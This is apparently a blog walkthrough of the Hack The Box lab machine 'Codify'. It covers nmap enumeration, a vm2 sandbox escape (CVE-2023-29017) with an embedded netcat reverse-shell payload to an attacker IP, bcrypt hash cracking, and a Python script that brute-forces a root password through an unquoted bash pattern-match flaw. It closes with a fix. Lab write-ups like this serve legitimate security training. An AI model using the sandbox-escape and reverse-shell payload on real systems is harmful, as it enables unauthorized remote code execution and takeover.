Hack the Box - Codify Walkthrough

In this walkthrough, we tackle "Codify" a fun box on Hack The Box (HTB) that really tests your privilege escalation skills! HTB is an online platform providing challenges for security enthusiasts to hone their hacking skills in a safe environment.

Hack the Box - Codify Walkthrough
Tools
Techniques
Nmap
Version Enumeration
Netcat
CVE's
Hashcat
Hash Cracking
Sudo
Sudo Abuse
Insecure Coding Abuse

Foothold

Nmap

As always, I start with a quick all ports Nmap scan, this is to quickly identify open ports for use later.

All ports quick nmap scan

Nmap identifies 3 open ports on the box. Using these ports it's possible to conduct a deeper scan to enumerate further details about services and versions running on said ports.

nmap -sV -sC -A -Pn -p 22,80,3000 --min-rate 1000 -oA SVC_Check 10.10.11.239
Service, Version and Default Scripts

The Nmap scan identifies a web server on both port 80 and 3000 and identifies that port 3000 is running node.js.

Web Enumeration

Navigating to the web sever on port 3000 reveals a code editor, further down the page there is reference to the code editor running in a vm2 sandbox and had a hyperlink associated to it.

Codify web server

The vm2 hyperlink points to GitHub, which wouldn't be an issue if it pointed to the top level of the GitHub repository, but this link points to the particular version being used.

Codify web server
CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere https://cwe.mitre.org/data/definitions/497.html

With a version number known it's possible to check for known vulnerabilities. In the case of vm2 3.9.16 there is sandbox break out (CVE-2023-29017) and a publicly available.

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244gist.github.com

CVE-2023-29017

Navigating to the /editor page there is the code execution function referenced on the home page.

Armed with the PoC I triggered a reverse shell to a netcat listener.

const { VM } = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.103 9001 >/tmp/f');
}
`

console.log(vm.run(code));
PoC Code: Reverse Shell payload

As soon as I executed the payload I got a call back to my listener as the svc user. We have shell access!

Lateral Movement

File System Enumeration

Before running any automated scripts like LinPEAs I like to manually enumerate some key areas of a machine, in particular any web directories in /var/www and any home directories. Using the below command, I can enumerate all folders and files and output the result in a directory tree structure without needed the tree binary installed on the box.

find . -print | sed -e 's;[^/]*/;|;g;s;|; |;g'

There was nothing the in /home directories of interest, but in the /var/www/contact directory there was a file called tickets.db. Within this file was a password hash for the Joshua user.

Tickets.db
Hash in the DB file

Hash Cracking

Checking the Hashcat examples page shows this to be a Bcrypt hash.

Hashcat examples page
Cracked hash - spongebob1

With the password for joshua known it was then possible to SSH to the box, granting persistence and a more stable shell.

SSH access as Joshua

Privilege Escalation

Sudo Privileges

Checking the sudo privileges for Joshua shows what appears to be a custom bash script to perform backups.

sudo -l output
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

exit

In a nutshell this script is reading credentials for the DB user "root" from /root/.creds and then prompting for a password. If the password entered matches the password in /root/.creds then script is executing.

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

Script Abuse

Amongst other issues, the largest vulnerability in this script is how it handles the match function. Where a double bracket [[$variable1 == $variable2 ]] is used bash will allow pattern matching.

Secondly, the variables are not enclosed in quotation marks, which would force a literal match. What this means in practice is that a wildcard character can be introduced to the end of a password to force the if statement to evaluate as TRUE. Here is the particular part of the script with a * character used to demonstrate.

Vulnerable script

In the above example, only part of the password is provided "Care*", yet the program matches the if condition and returns password confirmed.

Brute Forcing Password

Since it's possible to force the script to reveal information about the password matching in the above fashion, it's possible to enumerate the entire password by looping through the entire ASCII table and checking for the "Password Confirmed!" response, then moving onto the next character in the password.

A simple python script can be used to iterate over the password, evaluate the response from the script then continue iterating over the next character.

import subprocess
import string
import sys
import time


def check_password(guess):
    try:
        process = subprocess.Popen(['sudo', '-S', '/opt/scripts/mysql-backup.sh'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        stdout, stderr = process.communicate(input=guess)
        process.wait()
    except subprocess.SubprocessError as e:
        print(f"An error occurred: {e}")
        return False
    return "Password confirmed!" in stdout


characters = string.ascii_letters + string.digits

password_guess = ""


max_password_length = 25

for _ in range(max_password_length):
    found = False
    for char in characters:
        # Append the current character and a wildcard to the guess
        temp_guess = password_guess + char + "*\n"  # Adding newline to simulate pressing Enter
        # Print the current password guess, overwriting the same line
        print(f"\rCurrent guess: {password_guess + char}", end='', flush=True)
        time.sleep(0.1)  # Added sleep to slow down the output for demonstration purposes
        if check_password(temp_guess):
            # If the guess is correct, update the password_guess and move to the next character
            password_guess += char
            print(f"\rCurrent guess: {password_guess} ", end='', flush=True)  # Ensure the line is updated with the latest guess
            found = True
            break
    if not found:
        # If no character was found, assume the end of the password has been reached
        print(f"\nPassword found: {password_guess}")
        break

Using this script the password was brute forced and I could simply switch to the root user and finish the box. Password: kljh12k3jhaskjh12kjh3

Pwned

Post Root

Bash Script

Coming back to the Bash script, there is a simple solution to stop an attacker being able to abuse the string match function and that is enclosing both strings match variables in quote marks. This is because doing do will make bash evaluate the stings used in the match operation as absolutes.

mysql-backup.sh script fixed to remove privilege escalation path